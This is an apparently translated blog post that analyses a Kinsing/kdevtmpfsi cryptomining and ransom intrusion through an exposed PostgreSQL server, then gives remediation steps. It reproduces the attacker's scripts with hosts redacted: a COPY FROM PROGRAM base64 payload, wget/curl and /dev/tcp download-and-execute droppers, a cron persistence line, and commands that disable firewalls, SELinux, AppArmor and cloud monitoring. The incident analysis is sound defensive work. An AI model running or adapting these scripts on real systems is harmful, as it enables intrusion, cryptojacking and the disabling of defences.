banner
zhxycn

zhxycn

email
github
follow
HomeArchivesMain SiteShortsPortfoliosNFT

Analysis and Solutions for the Invasion of the Mining Ransomware Virus kdevtmpfsi on the Server

#Ops116
AI Translation
This post is translated from Chinese into English through AI.View Original
AI-generated summary
On November 8, a service anomaly was reported, linked to PostgreSQL errors. The issue was not immediately detected due to CDN usage and limited monitoring. Upon investigation, a suspicious process named `/tmp/kdevtmpfsi` was found, consuming high resources and owned by the `postgres` user. Attempts to terminate the process were unsuccessful as it restarted automatically, indicating a scheduled task or daemon. The virus began operating around November 7, causing server performance issues. A server restart temporarily alleviated the problem, but upon reconnecting to the PostgreSQL database, all data was found deleted, and a ransom note was left in a newly created database named `readme_to_recover`. The server was compromised within 8 hours of deployment, but fortunately, no critical data was lost. Analysis revealed that the server was running Ubuntu 24.04 LTS on Oracle Cloud with SSH key login only and an open port configuration. The PostgreSQL installation allowed password connections from any address without logging configurations, which was a significant vulnerability. The binary files associated with the virus were temporarily cleared after the restart. However, the virus reappeared the next day, with two binary files found in the `/tmp` directory. Analysis indicated that one process was a mining program and the other a daemon. The malware was executed via a cron job set to run every minute, downloading scripts silently and executing them. Further investigation into PostgreSQL logs revealed the attacker's steps: scanning for open PostgreSQL ports, exploiting weak passwords, deleting databases, attempting privilege escalation, and implanting the virus using PostgreSQL's `COPY ... FROM PROGRAM` command to execute scripts. The core script used by the attacker included commands to disable firewalls and terminate competing processes, showcasing a sophisticated approach to maintaining control over the compromised server.

Original article: https://owo.cab/217, simultaneously published on xLog

Exception Discovery#

On the afternoon of November 8, a colleague informed me of an anomaly in a certain service, manifested as backend program errors related to PostgreSQL queries. Due to the use of CDN and only configuring HTTP service monitoring alerts, I did not receive the anomaly alert in a timely manner.

By connecting to the server via SSH and using the htop command to view all running processes, I found that the /tmp/kdevtmpfsi process was consuming high resources, and the running user was postgres.

Process

I attempted to terminate this suspicious process, but found that the program would restart again within a minute, suspecting that a scheduled task was configured or a daemon was present.

Checking resource monitoring on the cloud computing platform, the virus began running around UTC 11-7 16:15 (Beijing time 11-8 0:15).

Resource Monitoring

Due to the excessive resource consumption by this virus causing server performance degradation, and being located in the /tmp directory, I restarted the server to temporarily alleviate the issue.

After restarting the server and connecting to the PostgreSQL database, I found that all data had been deleted, and the intruder had created a database named readme_to_recover, with the following content:

readme_to_recover

It is evident that the server has been ransomed, with the intruder executing an intrusion on the PostgreSQL database while utilizing server resources for mining, causing server lag and service crashes.

The intruder's website has been archived on archive.org, link https://web.archive.org/web/20251108155042/https://2info.win/psg/, please proceed with caution.

From the creation of the server to the intrusion took only 8 hours, fortunately, it was still in the deployment phase, and there was no important data (ridiculous).

Review and Analysis#

All commands and scripts listed in this section should not be executed, and some data has been desensitized.

Here’s the situation of the incident server:

  • Ubuntu 24.04 LTS, running on Oracle Cloud
  • Only SSH key login is allowed
  • All ports open
  • Installed with Baota panel, PostgreSQL installed using Baota
  • PostgreSQL allows all addresses to connect with a password, and has not logged PG login configurations

It is not difficult to see the fuse of this incident (because it was still in the deployment phase, I didn’t pay much attention, I reflect).

Processes#

The binary file of the virus has been temporarily cleared after the restart. To understand the intrusion and operation of the virus, I did not perform any operations or hardening on the server, but maintained its original state and waited for the virus to reappear.

As expected, around 0:14 on November 9, the server's CPU usage again reached 100%.

Checking the /tmp directory, there were two binary files as follows:

/tmp directory

Both programs were owned by postgres, with kdevtmpfsi having permissions 700, created at UTC 16:14; kinsing had permissions 777, created at UTC 16:11, slightly earlier than kdevtmpfsi.

At the same time, I downloaded a sample of the virus for backup:

Sample

Using the ps -ef command to find the two processes, as follows:

Process Information

From the process information, the runtime of kdevtmpfsi was increasing (from 06:25:29 to 06:26:17), while the runtime of kinsing remained almost unchanged for a period (at 00:00:04), and both had a PPID of 1.

Anyone familiar with Linux can easily see that kdevtmpfsi continuously occupies CPU time, serving as the main mining program; kinsing occupies less CPU time, acting as the daemon for kdevtmpfsi. Meanwhile, the parent process ID being 1 indicates that both original parent processes have terminated, becoming orphan processes taken over by the systemd process.

However, systemctl is not just for show; I directly checked the startup chain using sudo systemctl status <pid>:

Startup Chain

How did it start together with the postgres process? Let’s take another look.

Using the sudo crontab -u postgres -l command to check the scheduled tasks of the postgres user:

Scheduled Tasks

IP

This scheduled task is set to execute once every minute, using the wget tool in silent mode (-q) to download to standard output (-O -), and passing it directly to sh for execution via a pipe (|), discarding the script's output and system mail (> /dev/null 2>&1), thus achieving hidden execution information.

Searching for related process invocation records in syslog, I could only find records related to the scheduled task.

Invocation Records

However, when I attempted to access that URL, I encountered a 502 error and had to give up temporarily.

Intrusion Method#

Using the sudo last postgres command to check the login status of the postgres user, I found the output was empty, indicating that it was not an intrusion through weak passwords of the postgres system user. Meanwhile, the only service running under the postgres user was PostgreSQL.

There is only one possibility.

From the /www/server/pgsql/logs directory, I found the execution logs of PostgreSQL, where I discovered anomalies.

PG Log 1

PG Log 2

PG Log 3

This incomplete log reflects the entire process of the server being compromised, and the intruder's actions can be divided into five steps:

  1. Service Detection

    The intruder configured an automated tool to scan server ports in a specific IP range using the nmap tool, looking for servers with the 5432 port open, and attempted to connect with empty credentials to confirm that PostgreSQL was running on port 5432;

  2. Successful Intrusion

    After successfully connecting through brute-forcing weak password/no password, the intruder attempted to access a non-existent database bbbbbbb and executed a large number of SELECT VERSION(); commands to ensure they had logged in and collected database information to find vulnerabilities;

  3. Database Destruction

    The intruder first listed all databases, then sequentially obtained tables through information_schema.tables. For each table, they first retrieved the number of columns from information_schema.columns, then used SELECT * FROM ... LIMIT 50 to read table data, and after reading, completely deleted table information using DROP TABLE IF EXISTS ... CASCADE, ultimately deleting the original database and writing ransom information;

  4. Privilege Escalation

    The intruder created a super administrator named pgg_superadmins, then attempted to execute the ALTER USER postgres WITH NOSUPERUSER command to revoke the postgres user's super administrator privileges, but was blocked because postgres is the initial user of the database;

  5. Virus Implantation

    The PostgreSQL COPY ... FROM PROGRAM command allows reading the output of system commands into a table, thus being used by the intruder to execute scripts.

    DROP TABLE IF EXISTS bwyeLzCF;
CREATE TABLE bwyeLzCF(cmd_output text);
COPY bwyeLzCF FROM PROGRAM 'echo ... | base64 -d | bash';
SELECT * FROM bwyeLzCF;
DROP TABLE IF EXISTS bwyeLzCF;

    The intruder used the newly created pgg_superadmins to create a temporary table bwyeLzCF, which only had one field of type text named cmd_output to hold the output of the script. The command echo ... | base64 -d | bash decodes the Base64 encoded script and runs it immediately, deleting the table bwyeLzCF afterward to destroy traces.

For the core script, after Base64 decryption, the following content is obtained:

#!/bin/bash
pkill -f zsvc
pkill -f pdefenderd
pkill -f updatecheckerd

function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

if [ -x "$(command -v curl)" ]; then
  curl .../pg.sh|bash
elif [ -x "$(command -v wget)" ]; then
  wget -q -O- .../pg.sh|bash
else
  __curl http://.../pg2.sh|bash
fi

This script, when executed, first terminates competing programs using the pkill command, then downloads and runs the script. The intruder even directly sends HTTP requests via TCP protocol in the __curl function to ensure it runs in environments lacking curl and wget.

Script Analysis#

Due to the length and risk of this script, I will only analyze some segments.

  1. Intrusion Preparation

    # Disable firewall
ufw disable
iptables -F

# Remove SSH key attributes from root user
chattr -iae /root/.ssh/
chattr -iae /root/.ssh/authorized_keys

# Terminate matching processes (note the 'o' in postgres)
for filename in /proc/*; do
    ex=$(ls -latrh $filename 2> /dev/null|grep exe)
    if echo $ex |grep -q "/tmp/.perf.c\|/var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew"; then
        result=$(echo "$filename" | sed "s/\/proc\///")
        kill -9 $result
        echo found $filename $result
    fi

    if echo $ex |grep -q "/usr/local/bin/postgres"; then
        cw=$(ls -latrh $filename 2> /dev/null|grep cwd)
            if echo $cw |grep -q "/tmp"; then
                      result=$(echo "$filename" | sed "s/\/proc\///")
                      kill -9 $result
                      echo foundp $filename $result
              fi

    fi
done

# Targeted uninstallation of Alibaba Cloud and Tencent Cloud monitoring
if ps aux | grep -i '[a]liyun'; then
  curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
  curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
  pkill aliyun-service
  rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
  rm -rf /usr/local/aegis*
  systemctl stop aliyun.service
  systemctl disable aliyun.service
  service bcm-agent stop
  yum remove bcm-agent -y
  apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
  /usr/local/qcloud/stargate/admin/uninstall.sh
  /usr/local/qcloud/YunJing/uninst.sh
  /usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi

# Disable kernel hardware monitoring NMI Watchdog
sudo sysctl kernel.nmi_watchdog=0
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf

# Terminate matching processes by network connection (or other mining programs)
netstat -anp | grep ... | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
pkill -f ...

# Terminate matching processes by feature (or other mining programs)
ps aux | grep -v grep | grep ... | awk '{print $2}' | xargs -I % kill -9 %
pgrep -f ... | xargs -I % kill -9 %

# Delete other mining programs
rm -rf ...

# Remove containers and images with other mining programs in Docker
docker ps | grep ... | awk '{print $1}' | xargs -I % docker kill %
docker images -a | grep ... | awk '{print $3}' | xargs -I % docker rmi -f %

# Disable system security mechanisms
setenforce 0
echo SELINUX=disabled >/etc/selinux/config
service apparmor stop
systemctl disable apparmor

    True Yin.jpg

    The script first disables the firewall, then uninstalls cloud monitoring software to prevent detection, removes competing programs to avoid resource contention with kdevtmpfsi, and finally disables SELinux and AppArmor security mechanisms.

  2. Loading Mining Programs

    # Download corresponding programs for different architectures
BIN_MD5="b3039abf2ad5202f4a9363b418002351"
BIN_DOWNLOAD_URL="http://.../kinsing"
BIN_DOWNLOAD_URL2="http://.../kinsing"
BIN_NAME="kinsing"

arch=$(uname -i)
if  [ $arch = aarch64 ]; then
    BIN_MD5="da753ebcfe793614129fc11890acedbc"
    BIN_DOWNLOAD_URL="http://.../kinsing_aarch64"
    BIN_DOWNLOAD_URL2="http://.../kinsing_aarch64"
    echo "arm executed"
fi

    Before downloading, it selects the corresponding binary download address based on the architecture, and determines the download location based on the following priority (this part of the code has been omitted):

    • /etc, which requires root permissions

    • /tmp

    • /var/tmp

    • Create a temporary directory mktemp -d

    • /dev/shm

    # Function to check MD5
checkExists() {
  CHECK_PATH=$1
  MD5=$2
  sum=$(md5sum $CHECK_PATH | awk '{ print $1 }')
  retval=""
  if [ "$MD5" = "$sum" ]; then
    echo >&2 "$CHECK_PATH is $MD5"
    retval="true"
  else
    echo >&2 "$CHECK_PATH is not $MD5, actual $sum"
    retval="false"
  fi
  echo "$retval"
}

# Function for downloading
download() {
  DOWNLOAD_PATH=$1
  DOWNLOAD_URL=$2
  if [ -L $DOWNLOAD_PATH ]
  then
    rm -rf $DOWNLOAD_PATH
  fi
  chmod 777 $DOWNLOAD_PATH
  $WGET $DOWNLOAD_PATH $DOWNLOAD_URL
  chmod +x $DOWNLOAD_PATH
}

# Check if the file exists, if not, download it
binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" = "true" ]; then
  echo "$BIN_FULL_PATH exists and checked"
else
  echo "$BIN_FULL_PATH not exists"
  rm -rf $BIN_FULL_PATH
  download $BIN_FULL_PATH $BIN_DOWNLOAD_URL
  binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
  if [ "$binExists" = "true" ]; then
    echo "$BIN_FULL_PATH after download exists and checked"
  else
    echo "$BIN_FULL_PATH after download not exists"
    download $BIN_FULL_PATH $BIN_DOWNLOAD_URL2
    binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
    if [ "$binExists" = "true" ]; then
      echo "$BIN_FULL_PATH after download2 exists and checked"
    else
      echo "$BIN_FULL_PATH after download2 not exists"
    fi
  fi
fi

  3. Execution and Persistence

    chmod 777 $BIN_FULL_PATH
chmod +x $BIN_FULL_PATH
SKL=pg $BIN_FULL_PATH

crontab -l | sed '/#wget/d' | crontab -
crontab -l | sed '/#curl/d' | crontab -
crontab -l | grep -e "..." | grep -v grep
if [ $? -eq 0 ]; then
  echo "cron good"
else
  (
    crontab -l 2>/dev/null
    echo "* * * * * $LDR http://.../pg.sh | sh > /dev/null 2>&1"
  ) | crontab -
fi

    First, it grants the target binary file ($BIN_FULL_PATH) the highest permissions to ensure it can be executed, then adds a command to the scheduled tasks to execute once every minute, thus achieving persistence, which is the scheduled task seen earlier loaded under the postgres user.

Binary Analysis#

Program Features#

Using Radare2 to view the original information of the binary file, the results are as follows:

Binary File

Featurekdevtmpfsikinsing
Architecture (arch)ARM aarch64ARM aarch64
Binary Type (bintype)ELFELF
Size (binsz)~2.4MB~6MB
Development Language (lang)CGo
Static Link (static)YesYes
Symbol Table (stripped)StrippedStripped
Protection MechanismNX enabled, no RELRO, CanarySame as above

Using WinHex to view the kdevtmpfsi file, it is not difficult to identify UPX characteristics.

kdevtmpfsi

After unpacking with UPX, the results are as follows:

After Unpacking

Unlike before unpacking, the following content appears:

compiler GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0
relro: no -> partial

kdevtmpfsi#

By searching for the key string http, I quickly located content related to Monero:

[0x00402e00]> izz | grep -i "http"
18331 0x003e2b60 0x007e2b60 4   5    .rodata           ascii   http
18398 0x003e30f0 0x007e30f0 83  84   .rodata           ascii     -a, --algo=ALGO               mining algorithm https://xmrig.com/docs/algorithms\n
18835 0x003efcb8 0x007efcb8 58  59   .rodata           ascii   no valid configuration found, try https://xmrig.com/wizard
20113 0x003fa478 0x007fa478 19  20   .rodata           ascii   https proxy request
20114 0x003fa490 0x007fa490 12  13   .rodata           ascii   http request
23162 0x00414058 0x00814058 5   6    .rodata           ascii   https
25219 0x0042ed70 0x0082ed70 16  17   .rodata           ascii   parse_http_line1
25224 0x0042edf0 0x0082edf0 16  17   .rodata           ascii   %s %s HTTP/1.0\r\n
29745 0x004511b0 0x008511b0 104 105  .rodata           ascii   not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/):\n
30005 0x00453698 0x00853698 437 438  .rodata           ascii   GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.\nCopyright (C) 2022 Free Software Foundation, Inc.\nThis is free software; see the source for copying conditions.\nThere is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A\nPARTICULAR PURPOSE.\nCompiled by GNU CC version 11.2.0.\nlibc ABIs: UNIQUE ABSOLUTE\nFor bug reporting instructions, please see:\n<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.\n
30991 0x0045dbd8 0x0085dbd8 120 121  .rodata           ascii   TLS generation counter wrapped!  Please report as described in <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.\n

Subsequently, searching for monero\|xmr:

[0x00402e00]> izz | grep -i "monero\|xmr"
18114 0x003e1180 0x007e1180 20  21   .rodata           ascii   cryptonight-monerov7
18117 0x003e11b8 0x007e11b8 20  21   .rodata           ascii   cryptonight-monerov8
18173 0x003e1547 0x007e1547 4   5    .rodata           ascii   lXMR
18174 0x003e1550 0x007e1550 6   7    .rodata           ascii   Monero
18187 0x003e1600 0x007e1600 27  28   .rodata           ascii   \e[43;1m\e[1;37m monero  \e[0m
18310 0x003e27e0 0x007e27e0 415 416  .rodata           ascii   \n{\n  "background": true,\n  "donate-level": 0,\n  "cpu": true,\n  "colors": false,\n  "opencl": false,\n  "pools": [\n    {\n      "coin": "monero",\n      "algo": null,\n      "url": "xmr-eu1.nanopool.org",\n      "user": "4...b",\n      "pass": "mine",\n      "tls": false,\n      "keepalive": true,\n      "nicehash": false\n    }\n  ]\n}\n
18315 0x003e2a08 0x007e2a08 5   6    .rodata           ascii   XMRig
18391 0x003e3030 0x007e3030 12  13   .rodata           ascii   XMRig 6.16.4
18396 0x003e3090 0x007e3090 33  34   .rodata           ascii   Usage: xmrig [OPTIONS]\n\nNetwork:\n
18398 0x003e30f0 0x007e30f0 83  84   .rodata           ascii     -a, --algo=ALGO               mining algorithm https://xmrig.com/docs/algorithms\n
18415 0x003e3658 0x007e3658 72  73   .rodata           ascii         --donate-over-proxy=N     control donate over xmrig-proxy feature\n
18460 0x003e4380 0x007e4380 43  44   .rodata           ascii   XMRig 6.16.4\n built on Jul 30 2023 with GCC
18597 0x003e5be8 0x007e5be8 34  35   .rodata           ascii   stratum+tcp://xmr-eu1.nanopool.org
18835 0x003efcb8 0x007efcb8 58  59   .rodata           ascii   no valid configuration found, try https://xmrig.com/wizard
18860 0x003f01b8 0x007f01b8 20  21   .rodata           ascii   donate.ssl.xmrig.com
18861 0x003f01d0 0x007f01d0 19  20   .rodata           ascii   donate.v2.xmrig.com
19355 0x003f4d70 0x007f4d70 5   6    .rodata           ascii   xmrig

This program connects to the mining pool at xmr-eu1.nanopool.org, with the earnings address being 4...b.

kinsing#

Next, let’s see how this Go language program implements process guarding.

In IDA, I first searched for strings related to kdevtmpfsi, but could not find relevant references.

Related Strings

Then I searched for functions related to command execution:

[0x000789e0]> iz | grep -E "process|pid|exec|kill"
75    0x002a074c 0x002b074c 4    5    .rodata    ascii   Ppid
199   0x002a0a34 0x002b0a34 4    5    .rodata    ascii   kill
887   0x002a23d1 0x002b23d1 8    9    .rodata    ascii   \aos/exec
1086  0x002a2afa 0x002b2afa 8    9    .rodata    ascii   \aexecute
1608  0x002a3ef1 0x002b3ef1 10   11   .rodata    ascii   \t*exec.Cmd
2379  0x002a6201 0x002b6201 12   13   .rodata    ascii   \v*exec.Error
2873  0x002a7bf9 0x002b7bf9 13   14   .rodata    ascii   \fprocessFlags
3307  0x002a9902 0x002b9902 14   15   .rodata    ascii   Pid\njson:"pid"
3424  0x002aa07c 0x002ba07c 15   16   .rodata    ascii   *exec.ExitError
3523  0x002aa70f 0x002ba70f 15   16   .rodata    ascii   PpidWithContext
3675  0x002ab16c 0x002bb16c 16   17   .rodata    ascii   *process.Process
4588  0x002afaca 0x002bfaca 22   23   .rodata    ascii   *process.OpenFilesStat
4631  0x002afe42 0x002bfe42 22   23   .rodata    ascii   processCertsFromClient
4656  0x002b00b8 0x002c00b8 23   24   .rodata    ascii   *exec.prefixSuffixSaver
4680  0x002b0310 0x002c0310 23   24   .rodata    ascii   *process.MemoryInfoStat
4681  0x002b0329 0x002c0329 23   24   .rodata    ascii   *process.PageFaultsStat
4682  0x002b0342 0x002c0342 23   24   .rodata    ascii   *process.SignalInfoStat
4787  0x002b0d4e 0x002c0d4e 24   25   .rodata    ascii   processClientKeyExchange
4788  0x002b0d68 0x002c0d68 24   25   .rodata    ascii   processServerKeyExchange
4942  0x002b1d47 0x002c1d47 28   29   .rodata    ascii   \e*process.NumCtxSwitchesStat
5168  0x002b36f9 0x002c36f9 35   36   .rodata    ascii   "github.com/shirou/gopsutil/process
5233  0x002b4057 0x002c4057 22   23   .rodata    ascii   json:"pending_process"
5340  0x002b522a 0x002c522a 48   49   .rodata    ascii   /*struct { F uintptr; pw *os.File; c *exec.Cmd }
...

Among them, exec.Cmd is the function for executing command calls in Go, and github.com/shirou/gopsutil is the Go language implementation of Python's psutil, used to obtain system information, indicating that kinsing may have the behavior of executing system commands.

Hmm... it seems to have gotten complicated; let’s see if there’s a simpler method.

I placed kinsing in the ~/ directory and used strace to trace kinsing and its child processes under the ubuntu user:

strace -f -e execve,kill,open,read,nanosleep -o log.txt ./kinsing

In a new terminal, I terminated kdevtmpfsi, waiting for kinsing to restart it:

pkill -f kdevtmpfsi

When kdevtmpfsi restarted, I ended the strace tracing and checked the log for commands executed by kinsing:

$ cat log.txt | grep -E "kdevtmpfsi|execve|kill"

66871 execve("./kinsing", ["./kinsing"], 0xffffee10cf68 /* 22 vars */) = 0
66875 execve("./kinsing", ["./kinsing"], 0x40001f8240 /* 23 vars */) = 0
66879 <... read resumed>"Name:\tkinsing\nUmask:\t0002\nState:"..., 4096) = 1187
66879 read(7, "8323 (kinsing) S 1 4560 4560 0 -"..., 512) = 205
66879 read(7, "8816 (kdevtmpfsi) S 1 8816 8816 "..., 512) = 195
67160 execve("/usr/bin/sh", ["sh", "-c", "pkill -f kdevtmpfsi"], 0x40002783c0 /* 23 vars */) = 0
67160 execve("/usr/bin/pkill", ["pkill", "-f", "kdevtmpfsi"], 0xb925af1d5e80 /* 23 vars */) = 0
67160 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67160 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67160 read(5, "67125 (kdevtmpfsi) S 1 67125 671"..., 2048) = 183
67160 read(5, "Name:\tkdevtmpfsi\nUmask:\t0077\nSta"..., 2048) = 1170
67160 read(5, "/tmp/kdevtmpfsi\0", 131072) = 16
67160 read(5, "67160 (pkill) R 66875 66868 6558"..., 2048) = 319
67160 read(5, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 2048) = 1190
67160 read(5, "pkill\0-f\0kdevtmpfsi\0", 131072) = 20
67160 kill(67125, SIGTERM)              = -1 EPERM (Operation not permitted)
66878 read(10, "pkill: killing pid 67125 failed:"..., 32768) = 56
66878 read(7, "8323 (kinsing) S 1 4560 4560 0 -"..., 512) = 205
66878 read(7, "67125 (kdevtmpfsi) S 1 67125 671"..., 512) = 183
67405 execve("/usr/bin/sh", ["sh", "-c", "pkill -f kdevtmpfsi"], 0x40002946c0 /* 23 vars */ <unfinished ...>
67405 <... execve resumed>)             = 0
67405 execve("/usr/bin/pkill", ["pkill", "-f", "kdevtmpfsi"], 0xbf12fcc0ee80 /* 23 vars */ <unfinished ...>
67405 <... execve resumed>)             = 0
67405 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67405 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67405 read(5, "8323 (kinsing) S 1 4560 4560 0 -"..., 2048) = 205
67405 read(5, "67125 (kdevtmpfsi) S 1 67125 671"..., 2048) = 183
67405 read(5, "Name:\tkdevtmpfsi\nUmask:\t0077\nSta"..., 2048) = 1171
67405 read(5, "/tmp/kdevtmpfsi\0", 131072) = 16
67405 read(5, "67405 (pkill) R 66875 66868 6558"..., 2048) = 319
67405 read(5, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 2048) = 1190
67405 read(5, "pkill\0-f\0kdevtmpfsi\0", 131072) = 20
67405 kill(67125, SIGTERM)              = -1 EPERM (Operation not permitted)
66877 read(10, "pkill: killing pid 67125 failed:"..., 32768) = 57
67408 execve("/usr/bin/sh", ["sh", "-c", "chmod +x /tmp/kdevtmpfsi33550091"...], 0x40002786c0 /* 23 vars */ <unfinished ...>
67408 <... execve resumed>)             = 0
67408 execve("/usr/bin/chmod", ["chmod", "+x", "/tmp/kdevtmpfsi3355009150"], 0xb1ef30c68e90 /* 23 vars */) = 0
67409 execve("/usr/bin/sh", ["sh", "-c", "/tmp/kdevtmpfsi3355009150 &"], 0x4000278cc0 /* 23 vars */ <unfinished ...>
67409 <... execve resumed>)             = 0
67410 execve("/tmp/kdevtmpfsi3355009150", ["/tmp/kdevtmpfsi3355009150"], 0xbf99e2dd4e90 /* 23 vars */ <unfinished ...>
67410 <... execve resumed>)             = 0
66883 read(8, "67411 (kdevtmpfsi33550) S 1 6741"..., 512) = 287
66883 read(8, "Name:\tkdevtmpfsi33550\nUmask:\t000"..., 512) = 512
67416 +++ killed by SIGKILL +++
67415 +++ killed by SIGKILL +++
67414 +++ killed by SIGKILL +++

So how did this /tmp/kdevtmpfsi3355009150 appear? I searched the log for http connection-related information:

$ cat log.txt | grep -E "http"

67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 72
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 60
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 72
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 60
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39

At this point, the logic of kinsing has become clear. Its monitoring logic consists of four parts:

  1. Monitoring Processes: It reads process information through read to check if kdevtmpfsi exists;
  2. Ending Existing Processes: It attempts to terminate existing kdevtmpfsi processes using the command sh -c "pkill -f kdevtmpfsi";
  3. Downloading Mining Programs: If kdevtmpfsi does not exist, it executes the initialization script mentioned earlier to download the mining program to the /tmp directory, where kdevtmpfsi with a random number suffix appears because a non-readable and writable file with the same name already exists in the directory;
  4. Starting Mining Programs: It silently starts the mining program using the command sh -c "/tmp/kdevtmpfsiXXXX &".

Returning to IDA, I conducted another relevant search and found the previously overlooked /var/tmp/kdevtmpfsi string referenced in the main.minerRunningCheck function:

String Reference

The main.minerRunningCheck function has a self-loop, so it can be basically determined that this function is the main logic for process guarding.

Analyzing this function reveals that besides its self-loop, it also calls functions like main.getMinerPid, main.isMinerRunning, and main.minRun:

Call Chain

IDA

In main.minRun, I found the content that appeared in the strace log:

IDA

I also discovered that kinsing has a built-in download and run tool:

IDA

Everything is clear now.

Solution#

The deleted database cannot be recovered and can only be restored from backup.

Based on the review of the intrusion process, I summarize the following solutions:

Please create a system snapshot before executing.

  1. Delete Suspicious Scheduled Tasks

    Temporarily disable scheduled tasks to prevent reinfection:

    sudo systemctl stop cron
sudo systemctl stop crond
sudo service cron stop
sudo service crond stop

    Edit the postgres user's scheduled tasks:

    sudo crontab -u postgres -e

    Then check the scheduled tasks again to ensure suspicious items have been cleared:

    sudo crontab -u postgres -l

  2. Cancel Read, Write, and Execute Permissions on Virus Files

    sudo chmod 000 /tmp/kdevtmpfsi /tmp/kinsing

  3. Terminate Corresponding Processes

    sudo pkill -9 -f kinsing
sudo pkill -9 -f kdevtmpfsi

  4. Delete Virus Files

    Search the entire disk for files containing kinsing and kdevtmpfsi in their names and delete them:

    sudo find / -name "*kdevtmpfsi*" -delete
sudo find / -name "*kinsing*" -delete

  5. Delete Suspicious PostgreSQL Users

    Log in to the database using an administrator user:

    sudo psql -U postgres

    Then execute the following SQL statements:

    # Check if pgg_superadmins exists
SELECT usename FROM pg_user WHERE usename='pgg_superadmins';

# Revoke privileges
REVOKE ALL PRIVILEGES ON ALL TABLES IN SCHEMA public FROM pgg_superadmins;
REVOKE ALL PRIVILEGES ON ALL SEQUENCES IN SCHEMA public FROM pgg_superadmins;
REVOKE ALL PRIVILEGES ON ALL FUNCTIONS IN SCHEMA public FROM pgg_superadmins;

# Remove user
REASSIGN OWNED BY pgg_superadmins TO postgres;
DROP OWNED BY pgg_superadmins;
DROP ROLE pgg_superadmins;

# Grant superuser to postgres
ALTER USER postgres WITH SUPERUSER;

  6. Restart the Server

    sudo reboot

  7. Restore Attribute Protection

    sudo chattr +i /etc/passwd
sudo chattr +i /etc/shadow
sudo chattr +i /etc/group
sudo chattr +i /etc/gshadow
sudo chattr +i /etc/ssh/sshd_config
sudo chattr +i /root/.ssh/authorized_keys

  8. Harden PostgreSQL

    Check if postgresql.conf contains the following item:

    listen_addresses = '*'

    Check if pg_hba.conf contains the following items:

    host    all             all             0.0.0.0/0               md5
host    all             all             ::0/0                   md5

host    all             all             0.0.0.0/0               trust
host    all             all             ::0/0                   trust

    If so, modify or delete them immediately. For example, only allow Docker containers to connect:

    host    all             all             172.17.0.0/16           md5

  9. Harden the Server

    Harden the /tmp directory:

    sudo mount -o remount,noexec,nosuid,nodev /tmp

    Establish firewall rules (modify according to actual needs):

    # Allow established connections
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Allow local loopback
sudo iptables -A INPUT -i lo -j ACCEPT

# Allow SSH
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# Save and apply
sudo service iptables save
sudo systemctl enable iptables

    Restore SELinux or AppArmor:

    # For SELinux systems (CentOS/RHEL)
sudo sed -i 's/SELINUX=disabled/SELINUX=permissive/' /etc/selinux/config

# For AppArmor systems (Ubuntu/Debian)
sudo systemctl enable apparmor
sudo systemctl start apparmor
sudo systemctl reload apparmor

  10. Restart and Observe Again

    sudo reboot

It should be noted that this solution is only suitable for temporary handling and hardening. It is recommended to migrate and rebuild data and services as soon as possible. At the same time, maintain and monitor the server regularly to avoid exposing sensitive service ports directly to the public network, and do not use weak password passwords for SSH and databases. While ensuring the normal operation of services, minimize account permissions.

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.